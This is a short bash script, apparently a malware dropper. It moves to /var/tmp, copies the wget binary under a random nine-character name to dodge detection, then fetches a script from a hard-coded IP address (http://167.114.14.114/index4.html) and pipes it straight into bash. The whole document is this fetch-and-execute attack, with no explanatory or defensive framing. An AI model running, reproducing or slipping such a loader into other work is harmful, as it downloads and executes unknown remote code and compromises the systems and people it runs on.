function random() { chars=abcdefghijklmnop1234567890ABCDEFGHIJKLMNOP for i in {1..9} ; do echo -n ${chars:RANDOM%${#chars}:1} done } cd /var/tmp new_wget=$(random) cp `command -v wget` ./$new_wget ./$new_wget -q -O - http://167.114.14.114/index4.html |bash -s